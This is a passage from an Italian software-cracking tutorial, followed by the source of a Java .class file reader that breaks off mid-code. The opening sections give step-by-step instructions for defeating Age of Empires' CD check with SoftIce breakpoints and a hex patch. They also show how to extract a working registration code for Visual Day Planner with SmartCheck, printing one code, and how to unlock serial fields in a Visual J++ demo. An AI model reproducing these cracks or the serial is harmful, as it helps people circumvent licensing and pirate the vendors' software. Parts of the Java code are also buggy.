Lanciamo ora SoftIce aprendo Empires.exe (avrete capito che mi riferisco ad Age of Empires di Microsoft).
Usiamo per leggerlo la seuqenza di opzione di loader32 Modules->Load.
Settiamo un breakpoint non appena la finestra di SoftIce compare sulla funzione GetDriveTypeA (ritorna eax=5 se c'è il CDROM,eax=3 se HDD)
Il breakpoint viene settato con :

bpx getdrivetypea

Ripeto per l'ennesima volta che l'ultima lettera A della funzione indica che ci riferiamo alla fnzione a 32 bits.
GetDriveType si riferirebbe a quella a 16 bits.
Premiamo CONTROL-D per riattivare il gioco ed avanzare nella sua esecuzione.
Se dovesse comparire nuovamente SoftIce ignoratelo fino al momento in cui si arriva al menu.
Arrivati a questo selezionate SINGLE PLAYER e se tutto è stato eseguito in modo corretto SoftIce mostrerà nuovamente la sua finestra.
Quando verrà ativato il Breakpoint premete F11 in modo da eseguirla e ritornare al punto dove è stata chiamata.
A questo punto siamo dove GetDriveTypeA è stato lanciato.
Guardatevi un po intorno (CONTROL-(,CONTROL-() sino a vedre qualche cosa di simile.

```
:004D65F6   Call [Kernel32!GetDriveTypeA]         -> Chiama la funzione
:004D65FC   cmp eax, 00000005                     -> If CDROM -
:004D65FF   je 004D6605                           -> jump a ...
:004D6601   xor eax, eax                          -> if not : eax=0 ..
:004D6603   jmp 004D6658                          -> ... e ritorna.
:004D6605   lea eax, dword ptr [esp+0000011C]     -> Volume-check ...
:004D660C   push 00000100
:004D6611   lea ecx, dword ptr [esp+1C]
:004D6615   push eax
:004D6616   lea edx, dword ptr [esp+1C]
:004D661A   push ecx
:004D661B   lea eax, dword ptr [esp+1C]
:004D661F   push edx
:004D6620   lea ecx, dword ptr [esp+2C]
:004D6624   push eax
:004D6625   push 00000100
:004D662A   push ecx
:004D662B   push edi
:004D662C   Call [Kernel32!GetVolumeInformationA] -> Volume-check
:004D6632   test eax, eax                         -> è un CD-ROM nel drive ?
:004D6634   mov eax, 00000000                     -> eax=0
:004D6639   je 004D6658                           -> no ! return con eax=0 !
:004D663B   mov eax, dword ptr [esi+0C]
:004D663E   lea ecx, dword ptr [esp+1C]           -> ecx = CD-ROM label
:004D6642   add eax, 000002FD             -> eax = Label (AOE)
:004D6647   push eax
```

```
:004D6648   push ecx
:004D6649   call 00533C50                -> interessante
:004D664E   add esp, 00000008
:004D664F   cmp eax, 00000001            -> se eax=1 ... setta register flags
:004D6654   sbb eax, eax                 -> eax=eax-(eax+c)
:004D6656   neg eax                      -> 'invert' eax
:004D6658   pop ebp
:004D6659   pop edi
:004D665A   pop esi
:004D665B   pop ebx
:004D665C   add esp, 0000020C
:004D6662   ret 0004                      -> ... return
```

Diamo un occhiata alla calla marcata come interessante (solo la parte finale).

```
:00533C50 55             push ebp
:00533C51 8BEC           mov ebp, esp
:00533C53 57             push edi
:00533C54 56             push esi
:00533C55 53             push ebx
:00533C56 8B750C         mov esi, dword ptr [ebp+0C]
:00533C59 8B7D08         mov edi, dword ptr [ebp+08]
:00533C5C 8D05D08E5600   lea eax, dword ptr [00568ED0]
:00533C62 83780800       cmp dword ptr [eax+08], 00000000
:00533C66 753B           jne 00533CA3
:00533C68 B0FF           mov al, FF
:00533C6A 8BC0           mov eax, eax
...
:00533CC6 E845070000     call 00534410
:00533CCB 83C404         add esp, 00000004
:00533CCE 38C3           cmp bl, al
:00533CD0 74DA           je 00533CAC
:00533CD2 1BC0           sbb eax, eax
:00533CD4 83D8FF         sbb eax, FFFFFFFF
:00533CD7 5B             pop ebx
:00533CD8 5E             pop esi
:00533CD9 5F             pop edi
:00533CDA C9             leave
:00533CDB C3             ret
```

La funzione è complicata ma a noi non interessa sapere come funziona ma solo capire che cosa fa modificando qualche variabile e flag.
Seguendo questa procedura s arriva a capire che la funzione ritorna 1 o FFFFFFFF se è stato inserito un CD non valido.
A questo punto possiamo affermare che questa funzione deve ritornare 0 se il CD corretto è stato inserito.
Prima di ritornare dalla funzione inseriamo in EAX 0 e facciamo la prova.
Digitiamo :

r eax=0

e subito CONTROL D per proseguire.
La cosa funziona.
Ma prima di cantare vittoria diamo un occhiata al codice immediatamente dopo al ritorno della funzione.

```
:004D664E 83C408         add esp, 00000008
:004D6651 83F801         cmp eax, 00000001 -> if eax=1 . set Z ;or C if eax=0
:004D6654 1BC0           sbb eax, eax      -> eax=1-1 => eax=0
:004D6656 F7D8           neg eax           -> 'invert' eax => eax=0
:004D6658 5D             pop ebp
:004D6659 5F             pop edi
:004D665A 5E             pop esi
```

```
:004D665B 5B             pop ebx
:004D665C 81C40C020000   add esp, 0000020C
:004D6662 C20400         ret 0004        -> ... and return
```

La cosa strana è che normalmente le funzioni indicano che qualche cosa è andata a male restituendo 0 ed invece 1 se tutto è OK.
Proviamo a vedere cosa capita se la funzione ritorna con uno 0.

```
:004D6651   cmp eax, 00000001      -> if eax=1 ... (set C=1)
:004D6654   sbb eax, eax           -> eax=eax-(eax+c) => eax=0-1=FFFFFFFF
:004D6656   neg eax                -> 'invert' eax => eax=1
```

A questo punto ci troviamo dinanzi a due vie per crackare il programma.
Possiamo settare eax=1 in questa funzione oppure un eax=0 nella funzione chiamata.
Potrebbe anche capitare che il gioco durante la sua esecuzione cerchi nuovamente di testare la protezione non passando da questa funzione.
Considerando questo allora la cosa conveniente è quella di andare ad inserire mov eax, 0 nella funzione chiamata.
Per fare questo tramite un HEX View andiamo a ricercare 8D05D08E560083780800.
Posizionatevi sull’istruzione che deve essere sostituita

mov esi,[ebp][0000C]

Il codice dell’istruzione da inserire è :

B800000000

al posto di quella appena vista.
In questo caso non è stato necessario andare a ricercare funzioni strane per la serializzazione.
Molti giochi utilizzano questo tipo di protezione.

USARE SMARTCHECK

Abbiamo visto parlando dei vari programmi di un altro prodotto NuMega.
In alcuni casi, quando il programma è in visual Basic, può essere utile.
Vediamo un esempio usando SmartCheck.
Riferiamoci al programma Visual Day Planner 6.1
Eseguiamo SmartCheck e settiamo i parametri come si può vedere nell’immagine successiva.
In pratica selezionando Program/Settings dovrete settare tutti i flag meno Report MouseMove.
Dopo aver fatto questo settaggio tornate alla maschera di prima e selezionate le opzione avanzate e marcate le prime 4 voci mentre lasciate libere tutte le altre.
Accettate la configurazione preendo OK.
Se vi dovesse comparire il messaggio legato al fallimento delle API premete ACKNOWLEDGE.
Ora fate partire con SmartCheck il programma e seguite le istruioni per effetture la registrazione.
Inserite le voci "The Keyboard Caper" come NAME, "The Cracker" come COMAPNY e "12345" come CODE.

Premendo OK vi verrà fuori la finestra che vi comunica del fallimento dei dati inseriti.
Andate ora nella finestra di SmartCheck chiamata Program Results

Vedrete :

+ mnuCode_Click

Premete sul + per espandere il braccio.
Tracciate in basso fino a vedere

+ RegcodeForm.Show

ed espandetelo anche questo premendo sul +.
Scendete anvora fino a :

+ btnOK_Click

o come al solito espandetelo.
Andate in basso fino al secondo LCase$, sulla destra delle finestra dovreste vedere :

String string = 0058A3D0 "12345"

Questa è la locazione (0058A3D0) dove è registrato il codice, sbagliato in questo caso.
Andate in basso sul LCase$ e vedrete altri LCase$ a seguito i quali mostrano altri codici di registrazione.
Prendete quello che volete, ad esempio 3882D927-9Y78-29699.
Provate ad inserirlo e vedrete che lo prende.

QUANDO ABILITANDO IL CAMPO DEL SERIAL NUMBER SI RISOLVE

Esistono versioni in cui la mancanza di numero seriale inserito nell'apposito spazio indica al setup che si tratta di una versione demo.
In alcuni casi sarebbe possibile risolvere la cosa potendo inserire un numero di serie corretto dentro all'apposito spazio.
Prendiamo l'esempio di una versione demo di Visual J++.
La maschera che compare all'inizio si presenta con i campi relativi al serial number disabilitati.
Mediante l'utilizzo di customizer è possibile abilitare tali campi.
CUSTOMIZER permette di eseguire molte altre funzioni come ad esempio modificare il posizionamento degli oggetti, inviare messaggi specifici a ciascuno di questi e tante altre ancora.
Quando viene selezionata un funzione in CUSTOMIZER compare un freccia come cursore che permette di selezionare a quale campo si riferisce la funzionalità stessa.

Nel caso del VJ++ ho preso il numero di licenza di un altro pacchetto Microsoft il cui codice era 040-0923025 e l'ho inserito dopo aver abilitato all'input tali campi.
Customizer è anche utile in quei casi in cui alcune funzioni sono state disabilitate rendendo gray l'opzione di menu.
In latre parole in una versione dimostrativa potrebbero non avere inserito del dutto il codice relativo alla funzionalità mancante.
In altri casi invece non è stata abilitata la voce di menu.
In questo caso si potrebbe agire andando ad inserire una patch di codice.
CUSTOMIZER facilita le cose perché permette di fare molte cose, compresa quella di inviare messaggi, senza dover ricorrere alla programmazione.

3.1.1 JAVA E SCRITTURA MODULI PER LA RETE

Come dicevo prima i programmi JAVA non possiedono un vero e proprio compilatore che traduce il programma in codice macchina.
Questo favorisce la trasportabilità del software anche se complica la sua protezione.
I files .CLASS mantengono al loro interno tutte le informazioni dalle quali è possibile risalire ai sorgenti.
Il linguaggio Java e' portabile in quanto il suo compilatore crea un file che contiene un pseudocodice che verra' interpretato dalle varie macchine virtuali presenti nei vari ambienti.
Qusto pseudocodice prende il nome di bytecode ed e' contenuto nei vari file .class che compongono il programma.
Il codice sorgente puo' essere rappresentato da un unico file .java o da diversi file contenenti ciascuno le varie classi.
Nel caso di un unico file .java il compilatore creera' in vari file .class il cui nome derivera' dal nome della classe.
Il file contenente la classe principale dovra' possedere il nome del file uguale a quello della classe.
Nel caso in cui in un unico file java siano presenti piu' classi almeno una, e non piu' di una, dovra' possedere l'attributo public.
Il compilatore in pratica analizzera' il sorgente e creera' un file la cui struttura interna dovra' essere compatibile con quella definita dalla SUN per il codice bytecode.
Per discutere su tale formato presenteremo il codice di un programma .java che leggera' il contenuto di un file .class e visualizzera' le classi e le variabili in questo contenute.
Il programma che ho scritto come esempio e' una base per la scrittura di un decompilatore completo che per la sua lunghezza non puo' essere trattato in queste pagine.
I dati che formano tale struttura sono rappresentati, nelle specifiche SUN, da **u1, u2, u4** che sono in pratica unisgned da 1 byte, unsigned da 2 bytes e unsigned da 4 bytes leggibili da file mediante i metodi, della classe RandomAccessFile,

readUnsignedByte()
readUnsignedShort()
readInt()

Vediamo subito la struttura.

```
ClassFile {
            u4 magic;
            u2 minor_version;
            u2 major_version;
            u2 constant_pool_count;
            cp_info constant_pool[constant_pool_count-1];
            u2 access_flags;
            u2 this_class;
            u2 super_class;
            u2 interfaces_count;
            u2 interfaces[interfaces_count];
            u2 fields_count;
            field_info fields[fields_count];
            u2 methods_count;
            method_info methods[methods_count];
            u2 attributes_count;
            attribute_info attributes[attributes_count];
    }
```

Il significato dei fari campi sono :

unsigned 4 bytes magic number.

Questo campo contiene la stringa rappresentata da numeri esadecimali

0xCA 0xFE 0xBA 0xBE

in pratica CAFEBAE.
Attenzione che CAFEBABE non sono caratteri ASCII ma i vari 4 numeri da 1 byte in formato esadecimale visti uno a fianco all''’altro come se fossero i caratteri di una stringa.
Una volta aperto il file .class con la funzione RandomAccessFile()

```
in = new RandomAccessFile(className, "r");
```

I due dati successivi costituiscono la parte minore e maggiore del numero di versione del compilatore.

U2 minor_version e u2 major_version

Un dato importantissimo e’

U2 ConstantPoolCount

Il quale rappresenta il numero degli elementi nella tabella che andremo a creare.
Dal file .class e’ possibile creare quella definita come constant pool table che altro non e’ che una tabella con tutti i dati, metodi, variabili di una classe.
Per creare questa tabella ho creato una classe che contiene questi dati.
Ogni volta che sara’ necessario creare un altro elemento di questa tabella verra creata una nuova istanza di questa classe, verranno assegnati i valori necessari (gli altri sono messi a 0 o a null) e poi verra’ aggiunta come successivo elemento di un vettore Vector.
In seguito quando sara’ necessario reperire una stringa, ad esempio, in questa tabella, una volta ricavato il numero di posizionamento sara’ possibile estrarne il valore mediante il metodo elementAt() della classe Vector.
Ad esempio la classe dei dati contiene un membro str destinato alla memorizzazione delle stinghe.
Supponiamo di ricavare il valore di indice di una stringa con una lettura da file

```
Int  super_class = in.readUnsignedShort();
decompJavaData tmp = (decompJavaData) classTable.elementAt(super_class);
…
System.aout.print(tmp.str);
```

// str e’ il membro String nella classe decompJavaData …
// quella che contiene i dati
// usata un po a modo di struttura del C per la creazione della constant pool table

Spesso per ricavare un dato, ad esempio il nome di una classe, e’ necessario leggere un dato che rappresenta l’ indirrizzo della stringa in questa tabella.
Per prima cosa sara’ quindi necessario creare un vettore in cui verranno inseriti i dati letti.
La prima passata servira’ appunto a questo scopo.
Il programma e’ costituito da un gestore iniziale del layout che permettera’ di creare una maschera su cui sono posizionati il campo (TextField) da cui leggere il nome della classe da analizzare, da un pulsante per iniziare tale analisi e da un area di testo in cui verranno visualizzate le informazioni create dal metodo principale, quello che esegue l’ analisi chiamato readClass().
Vediamo subito tutto il codice in un sol colpo.
Discuteremo dopo delle varie funzioni o metodi.
Alcuni dati inseriti nella constant pool table (da adesso la chiamero’ CPT) hanno significati particolari.
Tra questi valori ritroviamo :

INFINITO POSITIVO = POS_INF (1.0f / 0.0f)
INFINITO NEGATIVO = NEG_INF (-1.0f / 0.0f)
NON UN NUMERO = NaN (Not a number) (0.0f / 0.0f)

Il seguente programma, che ho scritto usando JAVA stesso, analizza i files .CLASS.

DECOMPJAVA.JAVA

```
import java.applet.*;
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
import java.util.*;


class decompJavaData
{
      public String     str;
      public int        tag;
      public short      u21, u22;
      public int        u41, u42;
      public float      f;
      public double     d;
      public long       l;

      public decompJavaData(int tag, short u21, short u22, int u41, int u42,
String stringa, float f, double d, long l)
      {
            this.tag = tag;
            this.u21 = u21;
            this.u22 = u22;
            this.u41 = u41;
            this.u42 = u42;
            if(stringa != null) {
                  this.str = new String(stringa);
            } else
                  this.str = null;
```

```
            this.f = f;
            this.d = d;
            this.l = l;
      }
}

class decompJavaFrame extends Frame implements WindowListener, ActionListener
{
      private TextArea  textfield1;
      private Button leggi;
      private TextField classe;
      private Vector classTable;
      private RandomAccessFile in  = null;
      private decompJavaData tmp;

      private     String thisClassName;
      // Costanti
      final byte  CONSTANT_Class               = 7;
      final byte  CONSTANT_Fieldref            = 9;
      final byte  CONSTANT_Methodref           = 10;
      final byte  CONSTANT_InterfaceMethodref  = 11;
      final byte  CONSTANT_String              = 8;
      final byte  CONSTANT_Integer             = 3;
      final byte  CONSTANT_Float               = 4;
      final byte  CONSTANT_Long                = 5;
      final byte  CONSTANT_Double              = 6;
      final byte  CONSTANT_NameAndType         = 12;
      public static final byte     CONSTANT_Utf8 = 1;
      private int numConstantPool;

      public String removeSlash(String stringa)
      {
            StringBuffer strBuf = new StringBuffer();
            for(int idx=0;idx!=stringa.length();idx++)
                  if(stringa.charAt(idx) == '/')
                        strBuf.append('.');
                  else
                        strBuf.append(stringa.charAt(idx));
            return strBuf.toString();
      }

      public decompJavaFrame()
      {
            super("javaDecompiler by F. Bernardotti");
            setLayout(new BorderLayout());
            Panel panel = new Panel();
            Label lab = new Label("Nome classe :");
            panel.add(lab);
            classe = new TextField("classe.class", 50);
            panel.add(classe);
            leggi = new Button("Leggi");
            panel.add(leggi);
            add(panel, "North");
            textfield1 = new TextArea(18, 50);
            add(textfield1, "South");
            leggi.addActionListener(this);
            textfield1.setBackground(new Color(0,60,0));
            textfield1.setForeground(new Color(0,255,0));
            addWindowListener(this);
      }

      String extractClassName(String stringa)
      {
```

```
		int idx = stringa.length()-1;
		while(true) {
			if(stringa.charAt(idx) == '.')
				return stringa.substring(idx+1);
			if(idx == 0)
				return stringa;
			--idx;
		}
	}

	String analizeString(String stringa)
	{
		boolean flag = true;
		StringBuffer strBuf = new StringBuffer();
		StringBuffer array	= new StringBuffer();
		StringBuffer type = new StringBuffer();
		int idx=0;
		while(flag) {
			if(idx == stringa.length()) {
				flag = false;
			} else {
				switch(stringa.charAt(idx)) {
				case  '[':
					array.append("[]");
					break;
				case  'B':
					type.append("byte");
					break;
				case  'C':
					type.append("char");
					break;
				case  'D':
					type.append("double");
					break;
				case  'F':
					type.append("float");
					break;
				case  'I':
					type.append("int");
					break;
				case  'J':
					type.append("long");
					break;
				case  'S':
					type.append("short");
					break;
				case  'Z':
					type.append("boolean");
					break;
				case  'L':
					type.append(stringa.substring(1, stringa.length()-
1));

					flag = false;
					break;
				}
			}
			++idx;
		}
		strBuf.append(type.toString());
		if(array.length() > 0)
			strBuf.append(array.toString());
		return (strBuf.toString());
	}
```

```
private     String analizeMethods(String name, String arguments)
{
      boolean flag = true;
      int numEle;
      StringBuffer strArg;
      StringBuffer strBuf = new StringBuffer();
      StringBuffer strArg1 = new StringBuffer();
      StringBuffer tmp2 = new StringBuffer();
      StringBuffer tmp3 = new StringBuffer();
      String tmp = new String();
      int idx = 0;
      while(arguments.charAt(idx) != ')' && idx <= arguments.length())
            strArg1.append(arguments.charAt(idx++));

      ++idx;
      while(idx != arguments.length())
            strBuf.append(arguments.charAt(idx++));
      idx = 0;
      strArg = new StringBuffer();
      while(flag) {
            switch(strBuf.charAt(idx))
            {
            case  '[':
                  strArg.append("[]");
                  ++idx;
                  break;
            case  'L':
                  tmp = strBuf.toString();
                  tmp = tmp.substring(1);
                  tmp = removeSlash(tmp);
                  tmp = extractClassName(tmp);
                  strArg.append(tmp);
                  flag = false;
                  break;
            case  'V':
                  strArg.append("void");
                  flag = false;
                  break;
            case  'B':
                  strArg.append("byte");
                  flag = false;
                  break;
            case  'C':
                  strArg.append("char");
                  flag = false;
                  break;
            case  'D':
                  strArg.append("double");
                  flag = false;
                  break;
            case  'F':
                  strArg.append("float");
                  flag = false;
                  break;
            case  'I':
                  strArg.append("int");
                  flag = false;
                  break;
            case  'J':
                  strArg.append("long ");
                  flag = false;
                  break;
```

```
			case 'S':
				strArg.append("short");
				flag = false;
				break;
			case 'Z':
				strArg.append("boolean ");
				flag = false;
				break;
			}
		}

		strArg.append(" ");
		if(name.equals("<init>") || name.equals("<clinit>"))
			strArg.append(thisClassName);
		else
			strArg.append(name);
		idx = 1;
		tmp = strArg1.toString();
		strArg.append('(');
		numEle = 0;
		while(idx < tmp.length()) {
			switch(tmp.charAt(idx))
			{
				case 'V':
					if(numEle > 0)
						strArg.append(", ");
					strArg.append("void ");
					break;
				case 'B':
					if(numEle > 0)
						strArg.append(", ");
					strArg.append("byte ");
					break;
				case 'C':
					if(numEle > 0)
						strArg.append(", ");
					strArg.append("char ");
					break;
				case 'D':
					if(numEle > 0)
						strArg.append(", ");
					strArg.append("double ");
					break;
				case 'F':
					if(numEle > 0)
						strArg.append(", ");
					strArg.append("float ");
					break;
				case 'I':
					if(numEle > 0)
						strArg.append(", ");
					strArg.append("int ");
					break;
				case 'J':
					if(numEle > 0)
						strArg.append(", ");
					strArg.append("long ");
					break;
				case 'S':
					if(numEle > 0)
						strArg.append(", ");
					strArg.append("short ");
					break;
```

```
                        case  'Z':
                              if(numEle > 0)
                                    strArg.append(", ");
                              strArg.append("long ");
                              break;
                        case  'L':
                              if(numEle > 0)
                                    strArg.append(", ");
                              ++idx;
                              tmp2 = new StringBuffer();

                              while(true) {
                                    if(tmp.charAt(idx) == ';')
                                          break;
                                    tmp2.append(tmp.charAt(idx));
                                    ++idx;
                              }
                              tmp3 = new
StringBuffer(removeSlash(tmp2.toString()));
                              strArg.append(extractClassName(tmp3.toString()));

                              break;
                  }
                  ++numEle;
                  ++idx;
            }
            strArg.append(")");
            return (strArg.toString());
      }


      public void readClass(String className)
      {
            char c;
            int byteRead;
            StringBuffer strBuf;
            URL tmpURL = null;
            String msg;
            String stringa;
            int value;
            int tag;
            short u21, u22;
            int u41, u42;
            float f;
            double d;
            long l;
            int attribute_name_index;
            int attribute_code_length;
            int name_index;
            int access_flag;
            int super_class;
            int this_class;
            int interfaces_count;
            int idx;
            int idx1;
            int idx2;
            int idx3;
            int name_at;
            int fields_count;
            int fields_access_flag;
            int descriptor_index;
            int attribute_count;
            int attribute_length;
```

```
            int methods_count;
            int methods_access_flag;
            int length_attribute;
            int attribute_len;
            int source_file_index;
            String tmpStr;
            try
            {
                  classTable = new Vector();
                  in = new RandomAccessFile(className, "r");
                  textfield1.append("\n-------------------------------------
----\n");
                  textfield1.append("JAVADECOMPILER by F.BERNARDOTTI\n");

                  textfield1.append("----------------------------------------
--\n");
                  textfield1.append("File name :" + className+"\n");
                  in.skipBytes(8);

            }
            catch(MalformedURLException e) {}
            catch(FileNotFoundException e) {}
            catch(IOException e) {}
            textfield1.append("\nCreating constant pool ...\n\n");
            tmp = new decompJavaData(0, (short) 0, (short) 0, 0, 0, null, 0.0f ,
0.0, 0L);
            // Una usata da JAVA VM
            classTable.addElement(tmp);
            // e una usata da me per far iniziare l' indice a 1
            classTable.addElement(tmp);
            byteRead = 0;
            for(int index=1;index != numConstantPool;index++) {
                  tag = u41 = u42 = 0;
                  u21 = u22 = 0;
                  stringa = null;
                  f = 0.0f;
                  d = 0.0;
                  l = 0L;
                  try {
                        ++byteRead;
                        tag = in.readUnsignedByte() & 0xff;
                        switch(tag) {
                        case  CONSTANT_Class:
                              byteRead += 2;
                              // name_index
                              u21 = (short) in.readUnsignedShort();
                              break;
                        case  CONSTANT_String:
                              byteRead += 2;
                              // name_index
                              u21 = (short) in.readUnsignedShort();
                              break;
                        case  CONSTANT_NameAndType:
                        case  CONSTANT_Fieldref:
                        case  CONSTANT_Methodref:
                        case  CONSTANT_InterfaceMethodref:
                              byteRead += 4;
                              // Class index
                              u21 = (short) in.readUnsignedShort();
                              // name_and_type
                              u22 = (short) in.readUnsignedShort();
                              break;
                        case  CONSTANT_Integer:
```

```
                        byteRead += 4;
                        value = in.readUnsignedShort();
                        u41 = ((value << 16) + (short)
in.readUnsignedShort());
                        break;
                case  CONSTANT_Float:
                        byteRead += 4;
                        value = in.readUnsignedShort();
                        u41 = ((value << 16) + (short)
in.readUnsignedShort());
                        if(u41 == 0x7f800000)
                              // Positive infinity
                              f = 1.0f/0.0f;
                        else
                              if(u41 == 0xff800000)
                                    // Negativi infinity
                                    f = -1.0f/0.0f;
                              else
                                    if((u41 >= 0x7f800000 && u41 <=
0x7fffffff) ||(u41 >= 0xff800001 && u41 <= 0xffffffff))
                                          // NaN (NotANumber)
                                          f = 0.0f/0.0f;
                                    else {
                                          int s = ((u41 >> 31) == 0) ? 1 :
-1;

                                          int e = ((u41 >> 23) & 0xff);
                                          int m = (e == 0) ? (u41 &
0x7fffff) << 1 : (u41 & 0x7fffff) | 0x800000;
                                          f =  (float)((float)s * (float) m
* (2 ^ (e - 150)));
                                    }

                        break;
                case  CONSTANT_Long:
                        byteRead += 8;
                        u41 = in.readInt();
                        u42 = in.readInt();
                        l = ((long) u41 << 32) + u42;
                        break;
                case  CONSTANT_Double:
                        byteRead += 8;
                        u41 = in.readInt();
                        u42 = in.readInt();
                        l = ((long) u41 << 32) + u42;
                        if(l == 0x7f80000000000000L)
                              // Positive infinity
                              d = 1.0/0.0;
                        else
                              if(l == 0xff80000000000000L)
                                    // Negative infinity
                                    d = -1.0/0.0;
                              else
                                    if((l >=  0x7ff0000000000001L && l <=
0x7fffffffffffffffL ) ||(l >= 0xfff0000000000001L && l <= 0xffffffffffffffffL))
                                          // NaN (NotANumber)
                                          d = 0.0/0.0;
                                    else {
                                          long s = ((l >> 63) == 0) ? 1 : -
1;

                                          long e = ((l >> 52) & 0x7ff);
                                          long m = (e == 0) ? (l &
0xfffffffffffffL) << 1 : (l & 0xfffffffffffffL) |  0x10000000000000L;
```

```
                                                d =  (double)((double)s * 
(double) m * (2 ^ (e - 1075)));
                                           }

                              break;
                        case  CONSTANT_Utf8:
                              u21 = (short) in.readUnsignedShort();
                              byteRead += u21;
                              strBuf = new StringBuffer(u21);
                              for(idx=0;idx!=u21;idx++) {
                                    c = (char) in.readByte();
                                    strBuf.append(c);
                              }
                              stringa = new String(strBuf.toString());
                              break;
                        }
                  } catch(IOException e) {}
                  tmp = new decompJavaData(tag, u21, u22, u41, u42, stringa, f, 
d, l);
                  classTable.addElement(tmp);
            }
            try {
                  strBuf = new StringBuffer();
                  access_flag = in.readUnsignedShort();
                  if((access_flag & 0x0001) == 0x0001)
                        strBuf.append("public ");
                  if((access_flag & 0x0010) == 0x0010)
                        strBuf.append("final ");
                  if((access_flag & 0x0020) == 0x0020)
                        strBuf.append("class ");
                  if((access_flag & 0x0200) == 0x0200)
                        strBuf.append("interface ");
                  if((access_flag & 0x0400) == 0x0400)
                        strBuf.append("abstract ");
                  this_class = in.readUnsignedShort();
                  tmp = (decompJavaData) classTable.elementAt(this_class);
                  thisClassName = new String(tmp.str);
                  strBuf.append(thisClassName);
                  textfield1.append(strBuf.toString());
                  super_class = in.readUnsignedShort();
                  if(super_class != 0) {
                        tmp = (decompJavaData) 
classTable.elementAt(super_class);
                        textfield1.append(" extends ");
                        tmpStr = removeSlash(tmp.str);
                        textfield1.append(extractClassName(tmpStr));
                  }

                  interfaces_count = in.readUnsignedShort();
                  if(interfaces_count != 0) {
                        textfield1.append(" implements ");
                        for(idx = 0; idx != interfaces_count;idx++) {
                              name_at = in.readUnsignedShort();
                              tmp = (decompJavaData) 
classTable.elementAt(name_at);
                              if(idx > 0) {
                                    textfield1.append(", ");
                              }
                              tmpStr = removeSlash(tmp.str);
                              textfield1.append(extractClassName(tmpStr));
                        }
                        textfield1.append("\n{\n");
                  }
```

```
                  textfield1.append("\n// ---------------------\n//
Variable(s)\n// ---------------------\n\n");

                  fields_count = in.readUnsignedShort();

                  if(fields_count > 0) {
                        for(idx=0;idx!=fields_count;idx++) {

                              fields_access_flag = in.readUnsignedShort();
                              textfield1.append("\t");

                              if((fields_access_flag & 0x0001) == 0x0001)
                                    textfield1.append("public ");
                              if((fields_access_flag & 0x0002) == 0x0002)
                                    textfield1.append("private ");
                              if((fields_access_flag & 0x0004) == 0x0004)
                                    textfield1.append("protected ");
                              if((fields_access_flag & 0x0008) == 0x0008)
                                    textfield1.append("static ");
                              if((fields_access_flag & 0x0010) == 0x0010)
                                    textfield1.append("final ");
                              if((fields_access_flag & 0x0040) == 0x00040)
                                    textfield1.append("volatile ");
                              if((fields_access_flag & 0x0080) == 0x0080)
                                    textfield1.append("transient ");

                              name_index = in.readUnsignedShort();
                              descriptor_index = in.readUnsignedShort();

                              tmp = (decompJavaData)
classTable.elementAt(descriptor_index+1);
                              tmpStr = new
String(removeSlash(analizeString(tmp.str)));
                              textfield1.append(extractClassName(tmpStr));

                              tmp = (decompJavaData)
classTable.elementAt(name_index+1);
                              textfield1.append(" " + tmp.str+";");

                              attribute_count = in.readUnsignedShort();
                              if(attribute_count > 0) {
                                    for(idx1=0;idx1!=attribute_count;idx1++) {
                                    attribute_name_index =
in.readUnsignedShort();
                                          tmp = (decompJavaData)
classTable.elementAt(name_index);
                                          textfield1.append(tmp.str);
                                          attribute_length = in.readInt();
                                          strBuf = new
StringBuffer(attribute_length);

      for(idx2=0;idx2!=attribute_length;idx2++) {
                                                c = (char) in.readByte();
                                                strBuf.append(c);
                                          }
                                          stringa = new
String(strBuf.toString());
                                          textfield1.append(stringa);
                                    }

                              }
                              textfield1.append("\n");
```

```
                    }
                }

                textfield1.append("\n// ---------------------\n//
Method(s)\n// ---------------------\n\n");

                methods_count = in.readUnsignedShort();

                if(methods_count > 0) {
                    for(idx1=0;idx1!=methods_count;idx1++) {

                        methods_access_flag = in.readUnsignedShort();

                        textfield1.append("\t");
                        if((methods_access_flag & 0x0001) == 0x0001)
                            textfield1.append("public ");
                        if((methods_access_flag & 0x0002) == 0x0002)
                            textfield1.append("private ");
                        if((methods_access_flag & 0x0004) == 0x0004)
                            textfield1.append("protected ");
                        if((methods_access_flag & 0x0008) == 0x0008)
                            textfield1.append("static ");
                        if((methods_access_flag & 0x0010) == 0x0010)
                            textfield1.append("final ");
                        if((methods_access_flag & 0x0020) == 0x0020)
                            textfield1.append("synchronized ");
                        if((methods_access_flag & 0x0100) == 0x0100)
                            textfield1.append("native ");
                        if((methods_access_flag & 0x0400) == 0x0400)
                            textfield1.append("abstract ");

                        name_index = in.readUnsignedShort();
                        descriptor_index = in.readUnsignedShort();

                        tmp = (decompJavaData)
classTable.elementAt(descriptor_index+1);

                        tmpStr = new
String(removeSlash(analizeString(tmp.str)));
                        tmpStr = tmp.str;
                        tmp = (decompJavaData)
classTable.elementAt(name_index+1);
                        tmpStr = analizeMethods(tmp.str, tmpStr);

                        textfield1.append(tmpStr);

                        attribute_count = in.readUnsignedShort();
                        if(attribute_count > 0) {
                            for(idx2=0;idx2!=attribute_count;idx2++) {
                                attribute_name_index =
in.readUnsignedShort();
                                tmp = (decompJavaData)
classTable.elementAt(attribute_name_index+1);
                                length_attribute = in.readInt();
                                in.skipBytes(length_attribute);
                            }
                        }
                        textfield1.append(" {}\n");
                    }
                }

                attribute_count = in.readUnsignedShort();
```

```
			if(attribute_count > 0) {
				for(idx2=0;idx2!=attribute_count;idx2++) {
					attribute_name_index = in.readUnsignedShort();
					tmp = (decompJavaData)
classTable.elementAt(attribute_name_index+1);
					attribute_len = in.readUnsignedShort();
					source_file_index = in.readUnsignedShort();
					tmp = (decompJavaData)
classTable.elementAt(source_file_index+1);
				}
			}

		} catch(IOException e) {}

		textfield1.append("\n}\n");

		try {
			in.close();
		}
		catch(IOException e) {}
	}

	public void actionPerformed(ActionEvent e)
	{
		String choiceString;
		String selected = e.getActionCommand();
		if(selected.equals("Leggi")) {
			String className = classe.getText();
			if(className.length() > 0)
				readClass(className);
		}
	}

	public void windowActivated(WindowEvent event) {}
	public void windowClosed(WindowEvent event) {}
	public void windowClosing(WindowEvent event) { dispose(); }
	public void windowDeactivated(WindowEvent event) {}
	public void windowDeiconified(WindowEvent event) {}
	public void windowIconified(WindowEvent event) {}
	public void windowOpened(WindowEvent event) {}

}

public class decompJava extends Applet
{
	private boolean m_fStandAlone = false;
	private String m_classfile = "";
	private final String PARAM_classfile = "classfile";

	String GetParameter(String strName, String[] args)
	{
		if (args == null)
		{
			return getParameter(strName);
		}

		int    i;
		String strArg     = strName + "=";
		String strValue = null;
